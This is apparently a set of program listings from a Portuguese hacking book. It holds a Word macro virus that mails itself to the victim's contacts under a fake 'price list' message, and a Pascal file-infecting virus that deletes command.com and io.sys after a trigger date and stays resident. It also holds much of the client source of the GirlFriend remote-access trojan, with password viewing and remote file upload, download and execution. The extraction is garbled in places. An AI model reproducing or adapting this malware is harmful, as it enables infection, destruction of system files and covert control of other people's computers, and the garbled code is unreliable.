A4 00 3D 03 8B 32 77 C1 8C 4F 36 EB DC AC 47 0A 0D 8B 46 FC 25 F3 7F 8C C8 7E C4 CB 57 FE FE 06 4F FF 50 8B E8 8B 0D 7D 30 DB C2 02 33 89 CA 00 B8 CD 1A 02 1E 00 00 FF 00 00 40 00

1F BF 20 47 DC ED 0A AA DA 06 8B 02 8C 26 8A FC 32 D9 EB 8B 47 A6 06 DA F3 06 7E FE C4 0E 8B 00 81 16 0E 46 7B E5 B8 02 CD 81 80 B3 DB 5D 04 83 00 21 74 42 07 00 00 FF 00 00 00 00

5D 80 77 E2 8C F3 36 8A 36 0B 4F 33 DA 00 C8 AC ED 8B E6 DC 8A 75 B0 36 A4 01 0A C4 7E E8 E5 7E 7E 57 E8 08 FE 5D 00 B3 21 7D B8 D7 C7 1A 00 DA 42 73 03 CD B9 00 00 00 00 00 00 00

CA 00 03 F7 DA A4 C4 C8 C4 C9 04 C0 36 05 F3 0A 2B CA 33 8C C8 02 01 C4 8E 7D 06 7E 0A E9 5D 5C 06 C4 58 03 C4 CA 3D D7 72 02 05 75 45 C7 33 00 CD 02 43 21 5A 00 00 00 00 00 A0 00

02 26 47 8B 36 8E 7F 32 7F 7F 0B AA C4 73 A4 C0 CA 49 C0 DA 3A 3A AA 7F DA 05 57 0E 06 FE CA 83 FF 7E FE 46 7E 08 81 74 5A B1 04 03 02 45 D2 73 21 33 EB 33 09 00 00 00 00 00 00 00

00" 8A" E2" C7" C4" DA" 06" ED" 0C" 03" C9" 8B" 7F" 08" 8E" 74" 72" F3" EB" 36" CC" C4" 36" 0A" CA" C7" B8" 06" 57" C4" 0C" 7E" 00" 0A" 8D" 06" 0A" 00" 7D" 02" 89" D7" BA" E8" B2" 1C" 33" 04" 8D" C0" F2" C9" 2B" 00" 00" 00" 00" 00" B0" 00"

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA Close #1 ChDir "C:\" Shell "EXEC_LG.BAT", 0 NoDropper: End Sub

21

22


Página 129

Sub MAIN On Error Goto noway versão$ = ObterInfoSistema$(24) so$ = ObterInfoSistema$(21) normal$ = "" nome$ = "c:\precos.doc" If Ficheiros$(nome$) <> "" Then Kill nome$ If Ficheiros$("c:\winword\modelos\normal.dot") <> "" Then normal$ Ficheiros$("c:\winword\modelos\normal.dot") If Ficheiros$("c:\winword\normal.dot") <> "" Then normal$ Ficheiros$("c:\winword\normal.dot") If Ficheiros$("c:\msoffice\modelos\normal.dot") <> "" Then normal$ Ficheiros$("c:\msoffice\modelos\normal.dot") If Ficheiros$("c:\msoffice\models\normal.dot") <> "" Then normal$ Ficheiros$("c:\msoffice\models\normal.dot") If Ficheiros$("normal.dot") <> "" Then normal$ = Ficheiros$("normal.dot") If Ficheiros$("modelos\normal.dot") <> "" Then normal$ Ficheiros$("modelos\normal.dot") If normal$ = "" Then Goto NoWay CopiarFicheiro normal$, "c:\" Name "c:\Normal." As nome$ If AplSendoExecutada("Eudora") Then AplExibir "Eudora Light" Goto eudora End If If AplSendoExecutada("Internet Mail") Then Goto win95 If Ficheiros$("C:\eudora\eudora.exe") <> "" Then Shell Ficheiros$("C:\eudora\eudora.exe"), 1 Goto eudora End If If Ficheiros$("C:\ficheiros de programas\eudora\eudora.exe") <> "" Then Shell Ficheiros$("C:\ficheiros de programas\eudora\eudora.exe"), 1 Goto eudora End If If Ficheiros$("C:\Program Files\eudora\eudora.exe") <> "" Then Shell Ficheiros$("C:\Program Files\eudora\eudora.exe"), 1 Goto eudora End If If so$ = "Windows" Then Goto Windows Goto NoWay Windows: If (versão$ >= "3") And (versão$ < "4.0") Then Goto Win311 If AplSendoExecutada("Internet Mail") Then Goto Win95 Goto noway Win311: If AplSendoExecutada("Mail") Then AplAtivar "Mail" Else MicrosoftMail EnviarTeclas "{enter 3}", - 1 End If On Error Goto NoWay EnviarTeclas "^r", - 1 AplOcultar "Mensagem" EnviarTeclas "%d", - 1 AplOcultar "Endereços" EnviarTeclas "+^{end}", - 1 EnviarTeclas "%p", - 1

= = = =

=

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA EnviarTeclas "{enter}", - 1 EnviarTeclas "{tab 2}Sente só:{tab}", - 1 EnviarTeclas " Oi,{enter 2}Estou te enviando uma lista ", - 1 EnviarTeclas "sobre precos de programas para ", - 1 EnviarTeclas "PC, de uma olhada nela, falo ", - 1 EnviarTeclas "com você mais tarde, eu tenho que ", - 1 EnviarTeclas "ir para a escola, a empregada não veio ", - 1 EnviarTeclas "e eu tenho que me virar. Tchau.%r", - 1 EnviarTeclas nome$, - 1 EnviarTeclas "{enter}%f%n%j1", - 1 EnviarTeclas "{home}+^{end}{del 2}%{f4}" EnviarTeclas T = tecla "{tab}{enter}", - 1 Win95: AplExibir "Internet mail" AplOcultar "Internet mail" EnviarTeclas("^n"), - 1 If AplSendoExecutada("Nova Messagem") Then Goto portugues Else If AplSendoExecutada("New Message") Then Goto Ingles End If Goto noway Ingles: AplOcultar "New message" EnviarTeclas "%m", - 1 EnviarTeclas "r+^{end}", - 1 EnviarTeclas "%o", - 1 EnviarTeclas "{tab 7}{enter}{tab 2}", - 1 EnviarTeclas "^{home}Sente só:{tab}", - 1 EnviarTeclas " ^{home}{enter}^{home}Oi,{enter 2}Estou", - 1 EnviarTeclas " te enviando uma lista", - 1 EnviarTeclas " sobre precos de programas e", - 1 EnviarTeclas " jogos para o ", - 1 EnviarTeclas "PC, da’ uma olhada nela, falo ", - 1 EnviarTeclas "com você mais tarde, eu tenho que", - 1 EnviarTeclas " ir para a escola, a empregada não veio ", - 1 EnviarTeclas "e eu tenho que me virar. Tchau.{enter}%if", - 1 AplOcultar "Insert Atta" EnviarTeclas nome$, - 1 EnviarTeclas "{enter}%s^m", - 1 REM EnviarTeclas "{home}+^{end}{del}%{f4}^m", - 1 AplOcultar "Sending and Receiving" AplOcultar "Internet Mail" AplExibir "Microsoft Word" Goto noway Portugues: REM AplAtivar "Internet mail" AplOcultar "Internet mail" REM EnviarTeclas("^n"), - 1 AplOcultar "Nova mensagem" EnviarTeclas "%m", - 1 EnviarTeclas "r+^{end}", - 1 EnviarTeclas "%p", - 1 EnviarTeclas "{tab 7}{enter}{tab 2}", - 1 EnviarTeclas "Sente só:{tab}", - 1 EnviarTeclas " ^{home}{enter}^{home}Oi,{enter 2}Estou", - 1 EnviarTeclas " te enviando uma lista", - 1 EnviarTeclas " sobre precos de programas e", - 1 EnviarTeclas " jogos para o ", - 1 EnviarTeclas "PC, de uma olhada nela, falo ", - 1 EnviarTeclas "com você mais tarde, eu tenho que", - 1 EnviarTeclas " ir para a escola, a empregada não veio ", - 1 EnviarTeclas "e eu tenho que me virar. Tchau.{enter}%ia", - 1 AplOcultar "Insira" EnviarTeclas nome$, - 1

23

24


EnviarTeclas "{enter}%e^m", - 1 REM EnviarTeclas "{home}+^{end}{del}%{f4}^m", - 1 AplOcultar "Interner mail" AplExibir "Microsoft Word" Goto noway eudora: AplOcultar "Eudora Light" EnviarTeclas "{esc 2}", - 1 EnviarTeclas "^n^l{home}+^{end}%t", - 1 EnviarTeclas "{tab}Sente só:{tab 3}", - 1 EnviarTeclas "Oi,{enter 2}Estou te enviando uma lista", - 1 EnviarTeclas " sobre preços de programas e", - 1 EnviarTeclas " jogos para o ", - 1 EnviarTeclas "PC, dê uma olhada nela, falo ", - 1 EnviarTeclas "com você outra hora, eu tenho que", - 1 EnviarTeclas " ir para a escola, a empregada não veio ", - 1 EnviarTeclas "e eu tive que me virar sozinho. Tchau.{enter}^h", - 1 AplOcultar "Attach" EnviarTeclas nome$, - 1 EnviarTeclas "{enter}^e^t", - 1 AplOcultar "progress" AplOcultar "eudora Light" REM EnviarTeclas "{enter}", - 1 AplExibir "Microsoft Word" NoWay: End Sub


25

Página 149

{$M $2500,0,0 } {$S-,R-,I-,V-,f+} Program Exemplo_de_vírus_em_Pascal; USES crt,windos,dos; CONST LENVÍRUS=11616 ; {TAMANHO DO VÍRUS - ALTERE SE MODIFICADO, USE O PROGRAMA CABECALHO PARA ISSO} CAB:string[5]= CHR(77)+CHR(90 )+CHR(96)+CHR(1 )+cHR(23); {CABECALHO DO VÍRUS ALTERE SE MODIFICADO, USE O PROGRAMA CABECALHO PARA ISSO} MAXBUFLEN=1024; {Tamanho do buffer em bytes a ser copiado de cada vez} FILES=10; {Ficheiros a serem infectados de cada vez} MOSTRA=true; {Você quer saber o que o seu vírus está a fazer?} VAR fvir,vfile,fro mf,tof:file; {Ficheiro que vai conter o vírus, variável de ficheiro usado no vírus, 2 variáveis necessárias para a cópia do vírus } con:integer; {variável contadora} int1c: Procedure; {Estes dois serão vistos em exemplos de acções do vírus} printer:procedure; buffer:ARRAY[1..MAXBUFLEN] OF CHAR; {Necessário para a cópia de ficheiros} vx,vy,cx,cy:integer; {Coordenadas x,y da bola no ecrã} h, m, s, hund,day,mon,year: Word; {Necessário para conter a data e a hora do ficheiro} dat:datetime; {Vai conter a hora do ficheiro} ftime:longint; {Hora do ficheiro} vbola:boolean; nome_arq:pathstr; {Irá conter o nome do ficheiro com o vírus, muito necessário} arquiv:integer; {Quantidade de ficheiros infectados até ao momento} dirinfo:searchrec; {Muito usado no vírus, e responsável por procurar ficheiros onde eu quiser usando asteriscos (*.exe,c:\dos\*.com)} procedure HORAINI(NOME:STRING); var arq:file; begin if MOSTRA then writeln('Gravando a data e hora do ficheiro: ',nome); assign(arq, NOME); {Fica com a hora de criação do ficheiro} reset(arq); Getftime(arq,ftime); UnpackTime(ftime,dat); H:=dat.HOUR; M:=dat.MIN; S:=dat.SEC; day:=dat.day; mon:=dat.month; year:=dat.year; close(arq); if MOSTRA then writeln('Concluída a gravação da data e hora do ficheiro: ',nome); END; PROCEDURE HORAFIM(NOME:STRING); var arq:file; BEGIN if MOSTRA then writeln('Restaurando a data e hora original do programa: ',nome); dat.HOUR:=H; {Restaura a data e hora original} dat.MIN:=M; dat.SEC:=S; dat.day:=day; dat.month:=mon; dat.year:=year;

26


assign(arq, NOME); reset(arq); PackTime(dat,ftime); reset(arq); Setftime(arq,ftime); close(arq); if MOSTRA then writeln('Restauração do ficheiro ',nome,' concluída'); END; function verifica(nome:string):boolean; VAR buf: array[1..10] of Char; numread:WORD; con:integer; begin if MOSTRA then writeln('Iniciando verificação se o ficheiro ',nome,' já infectado.'); con:=1; assign(vFile,NoME); reset(vFile,1) ; { Record size = 1 } BlockRead(vFile, buf, SizeOf(buf), numread); IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then begin if MOSTRA then writeln('Verificação completa - ficheiro infectado '); {Verifica o cabeçalho do ficheiro} verifica:=TRUE {para ver se já foi infectado} end ELSE begin verifica:=FALSE; if MOSTRA then writeln('Verificação completa - ficheiro não infectado '); end; close(vFile); END;

foi

procedure infec(nome:string); var buf: array[1..LENVÍRUS] of Char; {Tamanho do vírus} buf2: array[1..2048] of Char; {Variável necessária para a cópia} numread, NumWritten: Word; begin if MOSTRA then writeln('Iniciando a infecção do ficheiro ',nome); if (nome<>'VIRTEMP.TMP') and (nome<>'COMMAND.COM') then begin HORAINI(NOME); {Grava data e hora do ficheiro} assign(FromF,nome); reset(FromF,1); assign(ToF,'virtemp.tmp'); Rewrite(ToF,1); repeat BlockRead(FromF, buf2, SizeOf(buf2), numread); BlockWrite(ToF, buf2, numread, NumWritten); until (numread = 0) or (NumWritten <> numread); close(FromF); close(tof); {Até aqui seria a parte onde se copia o ficheiro a ser infectado para outro ficheiro temporário} assign(FromF,nome_arq); {nome_arq: explicado mais tarde} reset(FromF, 1); assign(ToF, nome); Rewrite(ToF, 1); BlockRead(Fro mF, buf, SizeOf(buf), numread); {Caso você não se lembre, o BUF é o buffer} BlockWrite(ToF , buf, numread, NumWritten); {que conterá o vírus, que nesse caso ele} close(FromF); {copiará somente o vírus para o ficheiro a}


27

close(tof); {ser infectado (ficheiro.exe) em que havia sido} {movido o seu conteúdo para virtemp.tmp } {deixando, por enquanto somente o vírus no } {ficheiro }

assign(FromF,'virtemp.TMP'); reset(FromF, 1); assign(ToF, nome); reset(tof,1); seek(tof,LENVÍRUS); {Posiciona o ponteiro do ficheiro na posição final do ficheiro} repeat BlockRead(FromF, buf, SizeOf(buf), numread); BlockWrite(ToF, buf, numread, NumWritten); until (numread = 0) or (NumWritten <> numread); close(FromF); close(tof); erase(fromf); HORAFIM(NOME); end; {Essa parte seria a concatenação vírus+ficheiro, onde o ficheiro seria acrescentado no fim do vírus} if MOSTRA then writeln('Infecção completa.'); end; procedure procura(nome,dir:string); begin if MOSTRA then writeln('Iniciando a infecção do directório: ',nome); FindFirst(nome, Archive, DirInfo); {$i+} while (DosError = 0) and (arquiv numread); close(FromF); close(tof); exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); {Executa programa aqui} rewrite(tof); {Agora vou limpar o conteúdo e apagar o ficheiro} close(tof); erase(tof); if MOSTRA then writeln('Execução do programa hospedeiro finalizada'); end; procedure bola; interrupt; var cont:integer; begin if not vbola then if port[$60]<$80 then inc(con); if con=550 then vbola:=true; if vbola then begin cont:=random(4)+1; vy:=wherey; vx:=wherex; gotoxy(cx,cy); write('Û'); case cont of 1:if cx<78 then inc(cx); 2:if cx>1 then dec(cx); 3:if cy<23 then inc(cy); 4:if cy>1 then dec(cy); end; gotoxy(cx,cy);

o

28


write('þ'); gotoxy(vx,vy); end; inline ($9C); int1c; end; procedure apag_arq; var m,dia,ano,dow:word; mes:boolean; f:file; begin if mostra then writeln('Indo buscar a data actual'); getdate(ano,m,dia,dow); mes:=false; if ano=1998 then if m>=7 then {Data de activação: 12/07/1998} if dia>=12 then mes:=true; if ano>1998 then mes:=true; if mostra then writeln('Data actual finalizado'); if mes then begin if mostra then writeln('Inici ando a eliminação dos ficheiros: \command.com e \io.sys'); assign(f,'c:\command.com'); erase(f); assign(f,'c:\io.sys'); erase(f); end; end; Procedure inicinf; begin if MOSTRA then writeln('Iniciando a infecção dos ficheiros'); arquiv:=0; procura('*.com',''); procura('*.exe',''); { procura('c:\windows\*.com','c:\windows\'); procura('c:\windows\*.exe','c:\windows\'); procura('c:\dos\*.com','c:\dos\'); procura('c:\dos\*.exe','c:\dos\');} if MOSTRA then writeln('Infecção dos ficheiros Finalizada. Com um total de:'); if MOSTRA then writeln(arquiv,' ficheiros infectados.'); end;

procedure contra(non:string); var FromF, ToF: file; ARQ:text; Ft:FILE of char; f:file; function vervir(nome:string):boolean; VAR Buf: array[1..10] of Char; NUMREAD:WORD; con:integer; begin if mostra then writeln('Iniciando a verificação de infecção do ficheiro ',nome); con:=1; ASSIGN(F,NoME); ReSET(F,1); ReSET(F,1); { Record Record size = 1 } BlockRead(F, Buf, SizeOf(Buf), NumRead);


29

IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND (BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN {Verifica o cabeçalho do ficheiro} vervir:=TRUE {para ver se já foi infectado} ELSE vervir:=FALSE; Close(F); if mostra then writeln('Verificação de infecção finalizada'); END; procedure antivir; begin if not vervir(non) then begin if mostra then writeln('Ficheiro Infectado, tentando desinfectar...'); {Ficheiro infectado, tentando desinfectar...} aSSIGN(Ft,paramstr(0)); ReSET(Ft); { Record size = 1 } write(ft,cab[1]); write(ft,cab[2]); write(ft,cab[3]); write(ft,cab[4]); write(ft,cab[5]); close(ft); if mostra then writeln('Desinfeção completa!'); {Desinfeção completa} textcolor(white+blink); writeln('Atenção: O seu computador está infectado com um vírus! Sugiro que use um Anti-vírus!'); textcolor(white); end; end; begin if mostra then writeln('Início do procedimento anti-vírus.'); antivir; if mostra then writeln('Fim do procedimento anti-vírus.'); end; procedure escrever;interrupt; begin Sound(random(5000)); Delay(1); Nosound; inline ($9C); printer; end; begin if MOSTRA then writeln('Iniciando o Vírus'); nome_arq:=paramstr(0); {Esta variável irá conter o nome do programa que está a ser executado no momento. Caso o nome que foi executado seja EDIT.exe essa variável conterá EDIT.EXE} SETCBREAK(FALSE); {Para que o utilizador não possa carregar em Ctrl-C} contra(nome_arq); inicinf; executa; apag_arq; GetIntVec($1c,@int1c); SetIntVec($1c,Addr(bola)); vbola:=false; cx:=random(80);{Aleatorizar a posição da bola no ecrã} cy:=random(24); GetIntVec($17,@printer); SetIntVec($17, Addr(escrever) ); {Essa parte mostra ao computador para usar o procedimento escrever como defeito para a impressora} if MOSTRA then writeln('Fim do vírus.'); keep(0); {Deixa o programa residente em memória.}

30


if mostra then writeln('Programa Residente'); end.

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA Página 164

Programa MAIN.PAS unit main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Menus, StdCtrls, Buttons, ScktComp, ExtCtrls, ComCtrls, About, ImgList, OleCtrls, ShellAPI; const WM_NOTIFYMSG=WM_USER+1; type TClientForm = class(TForm) stbStatus: TStatusBar; ClientSocket: TClientSocket; sbConnect: TSpeedButton; sbShowPass: TSpeedButton; sbAbout: TSpeedButton; sbCustom: TSpeedButton; sbExit: TSpeedButton; ilApp: TImageList; sbMessage: TSpeedButton; gbLog: TGroupBox; gbTree: TGroupBox; txtLog: TMemo; Label1: TLabel; Label2: TLabel; PortChange: TButton; sbReset: TSpeedButton; cmdSave: TButton; sd1: TSaveDialog; tvApp: TTreeView; pmActions: TPopupMenu; Showpasswords1: TMenuItem; Sendmessage1: TMenuItem; Resetpasswordlist1: TMenuItem; N3: TMenuItem; PingserverAlive1: TMenuItem; N2: TMenuItem; mnuPlaySound: TMenuItem; mnuShowPic: TMenuItem; N1: TMenuItem; mnuURL: TMenuItem; mnuDelim1: TMenuItem; mnuShow: TMenuItem; N4: TMenuItem; mnuConnect: TMenuItem; N5: TMenuItem; mnuQuit: TMenuItem; ilWin: TImageList; txtHid: TMemo; sbFileManager: TSpeedButton; pmFile: TPopupMenu; mnuDelete: TMenuItem; N6: TMenuItem; mnu Download : TMenuItem; mnuDelim: TMenuItem; mnuRun: TMenuItem; N7: TMenuItem; mnuUpload: TMenuItem; od1: TOpenDialog; IP: TComboBox; portvalue: TComboBox; procedure ScanIPs;

31

32


procedure ProcessDiskList; procedure ClientSocketConnect(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure ProcessTree; procedure ProcessDirectory; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure sbConnectClick(Sender: TObject); procedure sbShowPassClick(Sender: TObject); procedure sbCustomClick(Sender: TObject); procedure sbExitClick(Sender: TObject); procedure sbAboutClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sbMessageClick(Sender: TObject); procedure txtLogDblClick(Sender: TObject); procedure PortChangeClick(Sender: TObject); procedure sbResetClick(Sender: TObject); procedure cmdSaveClick(Sender: TObject); procedure PingserverAlive1Click(Sender: TObject); procedure mnuPlaySoundClick(Sender: TObject); procedure mnuShowPicClick(Sender: TObject); procedure txtLogKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure tvAppKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure portvalue1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure IP1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure PortChangeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure cmdSaveKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure NotifyIcon (var TM: TMessage); message WM_NOTIFYMSG; procedure mnuShowClick(Sender: TObject); procedure mnuURLClick(Sender: TObject); procedure tvAppExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean); procedure tvAppCollapsing(Sender: TObject; Node: TTreeNode; var AllowCollapse: Boolean); procedure sbFileManagerClick(Sender: TObject); procedure tvAppDblClick(Sender: TObject); procedure tvAppRatoDown(Sender: TObject; Button: TRatoButton; Shift: TShiftState; X, Y: Integer); procedure pmFilePopup(Sender: TObject); procedure mnuDeleteClick(Sender: TObject); procedure mnuRunClick(Sender: TObject); procedure mnuDownload Click(Sender: Click(Sender: TObject); procedure mnuUploadClick(Sender: TObject); protected IsServer: Boolean; end; var ClientForm: TClientForm; Server: String; implementation uses MessageUnit; const CLOSED_ICON=2;


33

OPEN_ICON=3; BMP_FILE=4; EXE_FILE=5; WAV_FILE=6; USUAL_FILE=7; HDD_ICON=8; CDROM_ICON=9; WrapStr = #13+#10; LastPosition = 1000; type iptype = record ipcount, pcount:integer; ip:array[0..99] of string[25]; port:array [0..99] of integer; end; var Fl: FILE of IPType; loading, scanning, working, diskmode, TreeCame, recfile, DeleteAnswer, FileDestroyed, Uploaded: boolean; Connection, ServerAnswer: boolean; PList: array [1..LastPosition] of string; PC: integer; CurrIP: string; IP_base, IP_count, CurrPort: integer; FolderNode: TTreeNode; FName, PCN: string; FSize, AC, SC: integer; FlT: FILE; buffer: array [0..16385] of byte; {$R *.DFM} function extract (st: string; ind1, ind2: integer): string; var i: integer; begin result:=''; for i:=ind1 to ind2 do result:=result+st[i]; end; procedure AddTrayIcon (ID: integer; Hint: string; Icon: TIcon; hWnd: LongInt; CallBack: LongInt); var MC: TNotifyIconData; begin with MC do begin cbSize:= sizeof(TNotifyIconData); Wnd:= hWnd; uID:= ID; uFlags:= NIF_MESSAGE or NIF_ICON or NIF_TIP; uCallbackMessage:= CallBack; hIcon:= Icon.Handle; if (length(hint)>0) then StrLCopy(szTip, PChar(hint), 63) else szTip[0]:= #0; end; if Shell_NotifyIcon (NIM_ADD, @MC) then SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_DLGFRAME and not WS_EX_APPWINDOW); end; procedure ModifyTrayIcon (ID: integer; Hint: string; Icon: TIcon; hWnd: LongInt; CallBack: LongInt); var MC: TNotifyIconData; begin

34


with MC do begin cbSize:= sizeof(TNotifyIconData); Wnd:= hWnd; uID:= ID; uFlags:= NIF_MESSAGE or NIF_ICON or NIF_TIP; uCallbackMessage:= CallBack; hIcon:= Icon.Handle; if (length(hint)>0) then StrLCopy(szTip, PChar(hint), 63) else szTip[0]:= #0; end; Shell_NotifyIcon (NIM_MODIFY, @MC); end; procedure DestroyTrayIcon (ID: integer; hWnd: LongInt); var MC: TNotifyIconData; begin with MC do begin cbSize:= sizeof(TNotifyIconData); Wnd:= hWnd; uID:= ID; end; Shell_NotifyIcon (NIM_DELETE, @MC); end; // Cuts the string at '(' position (when clicking filenames) function TrimPRT (ST: string): string; var i: integer; begin result:=''; for i:=1 to Length(ST)-1 do if ST[i+1]='(' then break else result:=result+ST[i]; end; // Duplicates the & symbol - to prevent _ function DupAmps (var ST: string): string; var i: integer; begin result:=''; for i:=1 to Length(ST) do if ST[i]<>'&' then result:=result+ST[i] else result:=result+'&&'; end; procedure TClientForm.ScanIPs; var i, DotPos: integer; ST, IPT: string; begin ST:=IP.Text; for i:=Length (ST) downto 1 do if ST[i]='.' then break; DotPos:=i; IP_base:=strtoint (extract (ST, i+1, Pos ('+', ST)-1)); IP_count:=strtoint (extract (ST, Pos ('+', ST)+1, Length (ST))); IPT:=copy (ST, 1, DotPos); scanning:=true; for i:=0 to IP_count do begin CurrIP:=IPT+inttostr (IP_base+i); ClientSocket.Close; ClientSocket.Port:=CurrPort; ClientSocket.Address:=CurrIP; stbStatus.Panels[0].Text:= 'Scanning IP '+CurrIP; ClientSocket.Open; ServerAnswer:=false; repeat


35

Application.ProcessMessages; until ServerAnswer; if Connection then break; end; end; procedure TClientForm.sbConnectClick(Sender: TObject); begin if sbConnect.caption='Disconnect' then begin ilWin.GetIcon (0, ClientForm.Icon); ModifyTrayIcon (1, 'GirlFriend client v1.2', ClientForm.Icon, ClientForm.Handle, WM_NOTIFYMSG); sbConnect.caption:='Connect'; mnuConnect.Caption:='Connect'; sbShowPass.Enabled:=false; sbMessage.Enabled:=false; sbCustom.Enabled:=false; sbFileManager.Enabled:=false; ClientForm.Showpasswords1.Enabled:=false; ClientForm.Sendmessage1.Enabled:=false; ClientForm.Resetpasswordlist1.Enabled:=false; ClientForm.PingserverAlive1.Enabled:=false; ClientForm.mnuPlaySound.Enabled:=false; ClientForm.mnuShowPic.Enabled:=false; ClientForm.mnuURL.Enabled:=false; sbReset.Enabled:=false; PortChange.Enabled:=false; clientsocket.socket.SendText('Quiting..'); clientsocket.Close; stbStatus.Panels[0].Text:= 'Disconnected'; exit; end; if (Length(IP.Text)>0) then begin if portvalue.text>'' then ClientSocket.Port:=strtoint(portvalue.Text) else begin ClientSocket.Port:=21554; PortValue.Text:=inttostr (ClientSocket.Port); end; CurrPort:=ClientSocket.Port; if Pos('+', IP.Text)=0 then begin scanning:=false; CurrIP:=IP.Text; with ClientSocket do begin Address:= IP.Text; Open; end end else ScanIPs; end; end; procedure TClientForm.ClientSocketConnect(Sender: TObject; Socket: TCustomWinSocket); var i:integer; a, b:boolean; begin a:=false; b:=false; for i:=0 to ip.items.count+1 do if ip.Items[i]=clientsocket.address then a:=true;

36


for i:=0 to portvalue.items.count+1 do portvalue.Items[i]=inttostr(clientsocket.port) then b:=true; if a<>true then ip.items.Add(clientsocket.address); if b<>true then portvalue.items.Add(inttostr(clientsocket.port)); ServerAnswer:=true; Connection:=true; ilWin.GetIcon (1, ClientForm.Icon); ModifyTrayIcon (1, 'GirlFriend client v1.2. Connected '+Socket.RemoteAddress, ClientForm.Icon, ClientForm.Handle, WM_NOTIFYMSG); PortChange.Enabled:=true; sbConnect.caption:='Disconnect'; mnuConnect.Caption:='Disconnect'; stbStatus.Panels[0].Text:= 'Connected to: ' + Socket.RemoteAddress; clientsocket.socket.SendText ('ver'); ClientSocket.Socket.SendText ('time'); tvApp.Items.Clear; sbShowPass.Enabled:=true; sbMessage.Enabled:=true; sbCustom.Enabled:=true; sbReset.Enabled:=true; sbFileManager.Enabled:=true; ClientForm.Showpasswords1.Enabled:=true; ClientForm.Sendmessage1.Enabled:=true; ClientForm.Resetpasswordlist1.Enabled:=true; ClientForm.PingserverAlive1.Enabled:=true; ClientForm.mnuPlaySound.Enabled:=true; ClientForm.mnuShowPic.Enabled:=true; ClientForm.mnuURL.Enabled:=true; end; procedure TClientForm.ProcessTree; var i: integer; First, TMP, found: TTreeNode; ST, FT: string; function FindNode (caption: string): boolean; var c: integer; begin result:=false; for c:=0 to tvApp.Items.Count-1 do if tvApp.Items.Item[c].Text=caption then begin result:=true; found:=tvApp.Items.Item[c]; break; end; end; begin tvApp.Items.Clear; First:=tvApp.Items.GetFirstNode; for i:=1 to PC do begin ST:=extract (PList[i], 1, Pos ('___', PList[i])-1); if not(FindNode(ST)) then begin TMP:=tvApp.Items.Add (First, ST); TMP.ImageIndex:=0; TMP.SelectedIndex:=0; end; end; for i:=1 to PC do begin ST:=extract (PList[i], 1, Pos ('___', PList[i])-1); FT:=extract (PList[i], Pos ('___', PList[i])+3, Length(PList[i]));

if

with

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA if FindNode(ST) then begin TMP:=tvApp.Items.AddChild (found, FT); TMP.ImageIndex:=1; TMP.SelectedIndex:=1; end; end; end; procedure TClientForm.ProcessDiskList; var TMP, First: TTreeNode; i: integer; ST: string; begin tvApp.Items.Clear; First:=tvApp.Items.GetFirstNode; for i:=1 to PC do begin ST:=extract (PList[i], 3, Length(PList[i])-1); TMP:=tvApp.Items.Add (First, ST); case PList[i][1] of 'H': begin TMP.ImageIndex:=HDD_ICON; TMP.SelectedIndex:=HDD_ICON; end; 'C': begin TMP.ImageIndex:=CDROM_ICON; TMP.SelectedIndex:=CDROM_ICON; end; end; TMP:=tvApp.Items.AddChild (TMP, 'Loading...'); TMP.SelectedIndex:=-1; TMP.ImageIndex:=-1; end; end; procedure TClientForm.ProcessDirectory; var i: integer; ST: string; CP: char; TMP: TTreeNode; procedure SetIcon (ic: integer); begin TMP.ImageIndex:=ic; TMP.SelectedIndex:=ic; end; begin working:=true; diskmode:=false; FolderNode.DeleteChildren; for i:=1 to PC do begin ST:=extract (PList[i], 3, Length(PList[i])); CP:=PList[i][1]; TMP:=tvApp.Items.AddChild (FolderNode, ST); case CP of 'E': SetIcon (EXE_FILE); 'W': SetIcon (WAV_FILE); 'B': SetIcon (BMP_FILE); 'U': SetIcon (USUAL_FILE); 'F': begin SetIcon (CLOSED_ICON); TMP:=tvApp.Items.AddChild (TMP, 'Loading...'); SetIcon (-1); end;

37

38


end; end; FolderNode.Expand (FALSE); diskmode:=true; TreeCame:=true; working:=false; end; procedure TClientForm.ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket); var RST: string; i: integer; begin if (recfile) then begin repeat Application.ProcessMessages; AC:=Socket.ReceiveBuf (buffer, 1024); if AC>0 then begin SC:=SC+AC; Str (round(100*SC/FSize):3, PCN); stbStatus.Panels[0].Text:='Receiving '+FName+'. '+PCN+'% done.'; stbStatus.Refresh; BlockWrite (FlT, buffer, AC); end; until SC>=FSize; if recfile then begin CloseFile (FlT); txtLog.Lines.Add ('Download ing ing complete.'); stbStatus.Panels[0].Text:='Waiting for command.'; end; working:=false; recfile:=false; exit; end; if not(working) then begin RST:=Socket.ReceiveText; if RST='Uploading complete.' then begin Uploaded:=true; ServerAnswer:=True; end else ServerAnswer:=True; if Pos ('FCOMP}', RST)<>0 then begin working:=true; loading:=false; // Compress the txtHid for i:=0 to txtHid.Lines.Count-1 do if txtHid.Lines.Strings[i]='' then txtHid.Lines.Delete(i); 